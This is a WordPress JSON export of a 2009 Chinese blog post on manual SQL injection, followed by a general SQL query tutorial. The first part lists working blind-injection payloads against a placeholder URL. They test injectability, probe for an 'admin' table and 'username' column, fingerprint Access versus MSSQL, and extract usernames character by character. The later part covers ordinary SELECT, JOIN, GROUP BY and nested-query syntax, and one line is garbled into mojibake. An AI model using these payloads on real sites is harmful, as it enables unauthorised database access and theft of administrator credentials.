﻿{"id":254,"date":"2009-09-08T21:05:17","date_gmt":"2009-09-08T21:05:17","guid":{"rendered":""},"modified":"2011-11-18T17:07:56","modified_gmt":"2011-11-18T09:07:56","slug":"254","status":"publish","type":"post","link":"http:\/\/zerobox.org\/notes\/254.html","title":{"rendered":"\u624b\u5de5SQL\u6ce8\u5165\u5165\u4fb5"},"content":{"rendered":"<p><span style=\"font-size: x-small;\">\u6765\u6e90\uff1a<a href=\"http:\/\/laoxiege.blog.sohu.com\/\">http:\/\/laoxiege.blog.sohu.com\/<\/a><\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u68c0\u6d4b\u53ef\u5426\u6ce8\u5165<\/span><\/p>\n<p><span style=\"font-size: x-small;\">http:\/\/127.0.0.1\/xx?id=11 and 1=1 (\u6b63\u5e38\u9875\u9762)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">http:\/\/127.0.0.1\/xx?id=11 and 1=2 (\u51fa\u9519\u9875\u9762)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u68c0\u6d4b\u8868\u6bb5\u7684<\/span><\/p>\n<p><span style=\"font-size: x-small;\">http:\/\/127.0.0.1\/xx?id=11 and exists (select * from admin)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u68c0\u6d4b\u5b57\u6bb5\u7684<\/span><\/p>\n<p><span style=\"font-size: x-small;\">http:\/\/127.0.0.1\/xx?id=11 and exists (select username from admin)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u68c0\u6d4bID<\/span><\/p>\n<p><span style=\"font-size: x-small;\">http:\/\/127.0.0.1\/xx?id=11 and exists (select id from admin where ID=1)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u68c0\u6d4b\u957f\u5ea6\u7684<\/span><\/p>\n<p><span style=\"font-size: x-small;\">http:\/\/127.0.0.1\/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u68c0\u6d4b\u957f\u5ea6\u7684<\/span><\/p>\n<p><span style=\"font-size: x-small;\">http:\/\/127.0.0.1\/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u68c0\u6d4b\u662f\u5426\u4e3aMSSQL\u6570\u636e\u5e93<\/span><\/p>\n<p><span style=\"font-size: x-small;\">http:\/\/127.0.0.1\/xx?id=11 and exists (select * from sysobjects)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u68c0\u6d4b\u662f\u5426\u4e3a\u82f1\u6587<\/span><\/p>\n<p><span style=\"font-size: x-small;\">(ACCESS\u6570\u636e\u5e93)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">http:\/\/127.0.0.1\/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">(MSSQL\u6570\u636e\u5e93)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">http:\/\/127.0.0.1\/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u68c0\u6d4b\u82f1\u6587\u7684\u8303\u56f4<\/span><\/p>\n<p><span style=\"font-size: x-small;\">(ACCESS\u6570\u636e\u5e93)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">http:\/\/127.0.0.1\/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">(MSSQL\u6570\u636e\u5e93)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">http:\/\/127.0.0.1\/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u68c0\u6d4b\u90a3\u4e2a\u5b57\u7b26<\/span><\/p>\n<p><span style=\"font-size: x-small;\">(ACCESS\u6570\u636e\u5e93)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">http:\/\/127.0.0.1\/xx?id=11 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">(MSSQL\u6570\u636e\u5e93)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">http:\/\/127.0.0.1\/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u5e38\u7528\u51fd\u6570<\/span><\/p>\n<p><span style=\"font-size: x-small;\">Access\uff1aasc(\u5b57\u7b26)\u3000SQLServer\uff1aunicode(\u5b57\u7b26)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u4f5c\u7528\uff1a\u8fd4\u56de\u67d0\u5b57\u7b26\u7684ASCII\u7801<\/span><\/p>\n<p><span style=\"font-size: x-small;\">Access\uff1achr(\u6570\u5b57)\u3000SQLServer\uff1anchar(\u6570\u5b57)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u4f5c\u7528\uff1a\u4e0easc\u76f8\u53cd\uff0c\u6839\u636eASCII\u7801\u8fd4\u56de\u5b57\u7b26<\/span><\/p>\n<p><span style=\"font-size: x-small;\">Access\uff1amid(\u5b57\u7b26\u4e32,N,L)\u3000SQLServer\uff1asubstring(\u5b57\u7b26\u4e32,N,L)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u4f5c\u7528\uff1a\u8fd4\u56de\u5b57\u7b26\u4e32\u4eceN\u4e2a\u5b57\u7b26\u8d77\u957f\u5ea6\u4e3aL\u7684\u5b50\u5b57\u7b26\u4e32\uff0c\u5373N\u5230N+L\u4e4b\u95f4\u7684\u5b57\u7b26\u4e32<\/span><\/p>\n<p><span style=\"font-size: x-small;\">Access\uff1aabc(\u6570\u5b57)\u3000SQLServer\uff1aabc (\u6570\u5b57)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u4f5c\u7528\uff1a\u8fd4\u56de\u6570\u5b57\u7684\u7edd\u5bf9\u503c\uff08\u5728\u731c\u89e3\u6c49\u5b57\u7684\u65f6\u5019\u4f1a\u7528\u5230\uff09<\/span><\/p>\n<p><span style=\"font-size: x-small;\">Access\uff1aA between B And C\u3000SQLServer\uff1aA between B And C<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u4f5c\u7528\uff1a\u5224\u65adA\u662f\u5426\u754c\u4e8eB\u4e0eC\u4e4b\u95f4<\/span><\/p>\n<p><span style=\"font-size: x-small;\">and exists(Select top 1 * From \u7528\u6237 order by id)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u00a01.\u5728\u67e5\u8be2\u7ed3\u679c\u4e2d\u663e\u793a\u5217\u540d\uff1a<\/span><\/p>\n<p><span style=\"font-size: x-small;\">a.\u7528as\u5173\u952e\u5b57\uff1aselect name as \u2019\u59d3\u540d\u2019 from students order by age<\/span><\/p>\n<p><span style=\"font-size: x-small;\">b.\u76f4\u63a5\u8868\u793a\uff1aselect name \u2019\u59d3\u540d\u2019 from students order by age<\/span><\/p>\n<p><span style=\"font-size: x-small;\">2.\u7cbe\u786e\u67e5\u627e:<\/span><\/p>\n<p><span style=\"font-size: x-small;\">a.\u7528in\u9650\u5b9a\u8303\u56f4\uff1aselect * from students where native in (\u2019\u6e56\u5357\u2019, \u2019\u56db\u5ddd\u2019)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">b.between&#8230;and\uff1aselect * from students where age between 20 and 30<\/span><\/p>\n<p><span style=\"font-size: x-small;\">c.\u201c=\u201d\uff1aselect * from students where name = \u2019\u674e\u5c71\u2019<\/span><\/p>\n<p><span style=\"font-size: x-small;\">d.like:select * from students where name like \u2019\u674e%\u2019 (\u6ce8\u610f\u67e5\u8be2\u6761\u4ef6\u4e2d\u6709\u201c%\u201d\uff0c\u5219\u8bf4\u660e\u662f\u90e8\u5206\u5339\u914d\uff0c\u800c\u4e14\u8fd8\u6709\u5148\u540e\u4fe1\u606f\u5728\u91cc\u9762\uff0c\u5373\u67e5\u627e\u4ee5\u201c\u674e\u201d\u5f00\u5934\u7684\u5339\u914d\u9879\u3002\u6240\u4ee5\u82e5\u67e5\u8be2\u6709\u201c\u674e\u201d\u7684\u6240\u6709\u5bf9\u8c61\uff0c\u5e94\u8be5\u547d\u4ee4\uff1a\u2019%\u674e%\u2019;\u82e5\u662f\u7b2c\u4e8c\u4e2a\u5b57\u4e3a\u674e\uff0c\u5219\u5e94\u4e3a\u2019_\u674e%\u2019\u6216\u2019_\u674e\u2019\u6216\u2019_\u674e_\u2019\u3002)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">e.[]\u5339\u914d\u68c0\u67e5\u7b26\uff1aselect * from courses where cno like \u2019[AC]%\u2019 (\u8868\u793a\u6216\u7684\u5173\u7cfb\uff0c\u4e0e&#8221;in(&#8230;)&#8221;\u7c7b\u4f3c\uff0c\u800c\u4e14&#8221;[]&#8221;\u53ef\u4ee5\u8868\u793a\u8303\u56f4\uff0c\u5982\uff1aselect * from courses where cno like \u2019[A-C]%\u2019)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u00a03.\u5bf9\u4e8e\u65f6\u95f4\u7c7b\u578b\u53d8\u91cf\u7684\u5904\u7406<\/span><\/p>\n<p><span style=\"font-size: x-small;\">a.smalldatetime\uff1a\u76f4\u63a5\u6309\u7167\u5b57\u7b26\u4e32\u5904\u7406\u7684\u65b9\u5f0f\u8fdb\u884c\u5904\u7406\uff0c\u4f8b\u5982\uff1aselect * from students where birth &gt; = \u20191980-1-1\u2019 and birth &lt;= \u20191980-12-31\u2019<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u00a04.\u96c6\u51fd\u6570<\/span><\/p>\n<p><span style=\"font-size: x-small;\">a.count()\u6c42\u548c\uff0c\u5982\uff1aselect count(*) from students (\u6c42\u5b66\u751f\u603b\u4eba\u6570)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">b.avg(\u5217)\u6c42\u5e73\u5747\uff0c\u5982\uff1aselect avg(mark) from grades where cno=\u2019B2\u2019<\/span><\/p>\n<p><span style=\"font-size: x-small;\">c.max(\u5217)\u548cmin(\u5217)\uff0c\u6c42\u6700\u5927\u4e0e\u6700\u5c0f<\/span><\/p>\n<p><span style=\"font-size: x-small;\">5.\u5206\u7ec4group<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u5e38\u7528\u4e8e\u7edf\u8ba1\u65f6\uff0c\u5982\u5206\u7ec4\u67e5\u603b\u6570\uff1aselect gender,count(sno) from students group by gender(\u67e5\u770b\u7537\u5973\u5b66\u751f\u5404\u6709\u591a\u5c11)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u6ce8\u610f\uff1a\u4ece\u54ea\u79cd\u89d2\u5ea6\u5206\u7ec4\u5c31\u4ece\u54ea\u5217&#8221;group by&#8221;<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u5bf9\u4e8e\u591a\u91cd\u5206\u7ec4\uff0c\u53ea\u9700\u5c06\u5206\u7ec4\u89c4\u5219\u7f57\u5217\u3002\u6bd4\u5982\u67e5\u8be2\u5404\u5c4a\u5404\u4e13\u4e1a\u7684\u7537\u5973\u540c\u5b66\u4eba\u6570 \uff0c\u90a3\u4e48\u5206\u7ec4\u89c4\u5219\u6709\uff1a\u5c4a\u522b(grade)\u3001\u4e13\u4e1a(mno)\u548c<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u6027\u522b(gender)\uff0c\u6240\u4ee5\u6709&#8221;group by grade, mno, gender&#8221;<\/span><\/p>\n<p><span style=\"font-size: x-small;\">select grade, mno, gender, count(*) from students group by grade, mno, gender<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u901a\u5e38group\u8fd8\u548chaving\u8054\u7528\uff0c\u6bd4\u5982\u67e5\u8be21\u95e8\u8bfe\u4ee5\u4e0a\u4e0d\u53ca\u683c\u7684\u5b66\u751f\uff0c\u5219\u6309\u5b66\u53f7(sno)\u5206\u7c7b\u6709\uff1a<\/span><\/p>\n<p><span style=\"font-size: x-small;\">select sno,count(*) from grades where mark&lt;60 group by sno having count(*)&gt;1<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u00a06.UNION\u8054\u5408<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u5408\u5e76\u67e5\u8be2\u7ed3\u679c\uff0c\u5982\uff1a<\/span><\/p>\n<p><span style=\"font-size: x-small;\">SELECT * FROM students WHERE name like \u2018\u5f20%\u2019UNION [ALL] SELECT * FROM students WHERE name like \u2018\u674e%\u2019<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u00a07.\u591a\u8868\u67e5\u8be2<\/span><\/p>\n<p><span style=\"font-size: x-small;\">a.\u5185\u8fde\u63a5<\/span><\/p>\n<p><span style=\"font-size: x-small;\">select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno<\/span><\/p>\n<p><span style=\"font-size: x-small;\">(\u6ce8\u610f\u53ef\u4ee5\u5f15\u7528\u522b\u540d)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">b.\u5916\u8fde\u63a5<\/span><\/p>\n<p><span style=\"font-size: x-small;\">b1.\u5de6\u8fde\u63a5<\/span><\/p>\n<p><span style=\"font-size: x-small;\">select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u5de6\u8fde\u63a5\u7279\u70b9\uff1a\u663e\u793a\u5168\u90e8\u5de6\u8fb9\u8868\u4e2d\u7684\u6240\u6709\u9879\u76ee\uff0c\u5373\u4f7f\u5176\u4e2d\u6709\u4e9b\u9879\u4e2d\u7684\u6570\u636e\u672a\u586b\u5199\u5b8c\u5168\u3002<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u5de6\u5916\u8fde\u63a5\u8fd4\u56de\u90a3\u4e9b\u5b58\u5728\u4e8e\u5de6\u8868\u800c\u53f3\u8868\u4e2d\u5374\u6ca1\u6709\u7684\u884c\uff0c\u518d\u52a0\u4e0a\u5185\u8fde\u63a5\u7684\u884c\u3002<\/span><\/p>\n<p><span style=\"font-size: x-small;\">b2.\u53f3\u8fde\u63a5<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u4e0e\u5de6\u8fde\u63a5\u7c7b\u4f3c<\/span><\/p>\n<p><span style=\"font-size: x-small;\">b3.\u5168\u8fde\u63a5<\/span><\/p>\n<p><span style=\"font-size: x-small;\">select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u4e24\u8fb9\u8868\u4e2d\u7684\u5185\u5bb9\u5168\u90e8\u663e\u793a<\/span><\/p>\n<p><span style=\"font-size: x-small;\">c.\u81ea\u8eab\u8fde\u63a5<\/span><\/p>\n<p><span style=\"font-size: x-small;\">select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u91c7\u7528\u522b\u540d\u89e3\u51b3\u95ee\u9898\u3002<\/span><\/p>\n<p><span style=\"font-size: x-small;\">d.\u4ea4*\u8fde\u63a5<\/span><\/p>\n<p><span style=\"font-size: x-small;\">select lastname+firstname from lastname CROSS JOIN firstanme<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u76f8\u5f53\u4e8e\u505a\u7b1b\u5361\u513f\u79ef<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u00a08.\u5d4c\u5957\u67e5\u8be2<\/span><\/p>\n<p><span style=\"font-size: x-small;\">a.\u7528\u5173\u952e\u5b57IN,\u5982\u67e5\u8be2\u732a\u732a\u5c71\u7684\u540c\u4e61\uff1a<\/span><\/p>\n<p><span style=\"font-size: x-small;\">select * from students where native in (select native from students where name=\u2019\u732a\u732a\u2019)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">b.\u4f7f\u7528\u5173\u952e\u5b57EXIST,\u6bd4\u5982\uff0c\u4e0b\u9762\u4e24\u53e5\u662f\u7b49\u4ef7\u7684\uff1a<\/span><\/p>\n<p><span style=\"font-size: x-small;\">select * from students where sno in (select sno from grades where cno=\u2019B2\u2019)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">select * from students where exists (select * from grades where grades.sno=students.sno AND cno=\u2019B2\u2019)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u00a09.\u5173\u4e8e\u6392\u5e8forder<\/span><\/p>\n<p><span style=\"font-size: x-small;\">a.\u5bf9\u4e8e\u6392\u5e8forder\uff0c\u6709\u4e24\u79cd\u65b9\u6cd5\uff1aasc\u5347\u5e8f\u548cdesc\u964d\u5e8f<\/span><\/p>\n<p><span style=\"font-size: x-small;\">b.\u5bf9\u4e8e\u6392\u5e8forder,\u53ef\u4ee5\u6309\u7167\u67e5\u8be2\u6761\u4ef6\u4e2d\u7684\u67d0\u9879\u6392\u5217\uff0c\u800c\u4e14\u8fd9\u9879\u53ef\u7528\u6570\u5b57\u8868\u793a\uff0c\u5982\uff1a<\/span><\/p>\n<p><span style=\"font-size: x-small;\">select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)&gt;85 order by 3<\/span><\/p>\n<p><span style=\"font-size: x-small;\">10.\u5176\u4ed6<\/span><\/p>\n<p><span style=\"font-size: x-small;\">a.\u5bf9\u4e8e\u6709\u7a7a\u683c\u7684\u8bc6\u522b\u540d\u79f0\uff0c\u5e94\u8be5\u7528&#8221;[]&#8221;\u62ec\u4f4f\u3002<\/span><\/p>\n<p><span style=\"font-size: x-small;\">b.\u5bf9\u4e8e\u67d0\u5217\u4e2d\u6ca1\u6709\u6570\u636e\u7684\u7279\u5b9a\u67e5\u8be2\u53ef\u4ee5\u7528null\u5224\u65ad\uff0c\u5982select sno,courseno from grades where mark IS NULL<\/span><\/p>\n<p><span style=\"font-size: x-small;\">c.\u6ce8\u610f\u533a\u5206\u5728\u5d4c\u5957\u67e5\u8be2\u4e2d\u4f7f\u7528\u7684any\u4e0eall\u7684\u533a\u522b\uff0cany\u76f8\u5f53\u4e8e\u903b\u8f91\u8fd0\u7b97\u201c||\u201d\u800call\u5219\u76f8\u5f53\u4e8e\u903b\u8f91\u8fd0\u7b97\u201c&amp;&amp;\u201d<\/span><\/p>\n<p><span style=\"font-size: x-small;\">d.\u6ce8\u610f\u5728\u505a\u5426\u5b9a\u610f\u4e49\u7684\u67e5\u8be2\u662f\u5c0f\u5fc3\u8fdb\u5165\u9677\u9631\uff1a<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u5982\uff0c\u6ca1\u6709\u9009\u4fee\u2018B2\u2019\u8bfe\u7a0b\u7684\u5b66\u751f \uff1a<\/span><\/p>\n<p><span style=\"font-size: x-small;\">select students.* from students, grades where students.sno=grades.sno AND grades.cno &lt;&gt; \u2019B2\u2019<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u4e0a\u9762\u7684\u67e5\u8be2\u65b9\u5f0f\u662f\u9519\u8bef\u7684\uff0c\u6b63\u786e\u65b9\u5f0f\u89c1\u4e0b\u65b9\uff1a<\/span><\/p>\n<p><span style=\"font-size: x-small;\">select * from students where not exists (select * from grades where grades.sno=students.sno AND cno=\u2019B2\u2019)<\/span><\/p>\n<p><span style=\"font-size: x-small;\">11.\u5173\u4e8e\u6709\u96be\u5ea6\u591a\u91cd\u5d4c\u5957\u67e5\u8be2\u7684\u89e3\u51b3\u601d\u60f3\uff1a\u5982\uff0c\u9009\u4fee\u4e86\u5168\u775d@\u7eac\u75f0\u96be ?br&gt;select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))<\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u6700\u5916\u4e00\u91cd\uff1a\u4ece\u5b66\u751f\u8868\u4e2d\u9009\uff0c\u6392\u9664\u90a3\u4e9b\u6709\u8bfe\u6ca1\u9009\u7684\u3002\u7528not exist\u3002\u7531\u4e8e\u8ba8\u8bba\u5bf9\u8c61\u662f\u8bfe\u7a0b\uff0c\u6240\u4ee5\u7b2c\u4e8c\u91cd\u67e5\u8be2\u4ececourse\u8868\u4e2d\u627e\uff0c\u6392\u9664\u90a3\u4e9b\u9009\u4e86\u8bfe\u7684\u5373\u53ef<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6765\u6e90\uff1ahttp:\/\/laoxiege.blog.sohu.com\/ \u68c0\u6d4b\u53ef\u5426\u6ce8\u5165 &hellip;<\/p>\n<p class=\"read-more\"><a href=\"http:\/\/zerobox.org\/notes\/254.html\">\u7ee7\u7eed\u9605\u8bfb &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[137,60,94],"class_list":["post-254","post","type-post","status-publish","format-standard","hentry","tag-sql","tag-60","tag-94"],"views":921,"_links":{"self":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/254","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/comments?post=254"}],"version-history":[{"count":0,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/254\/revisions"}],"wp:attachment":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/media?parent=254"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/categories?post=254"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/tags?post=254"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}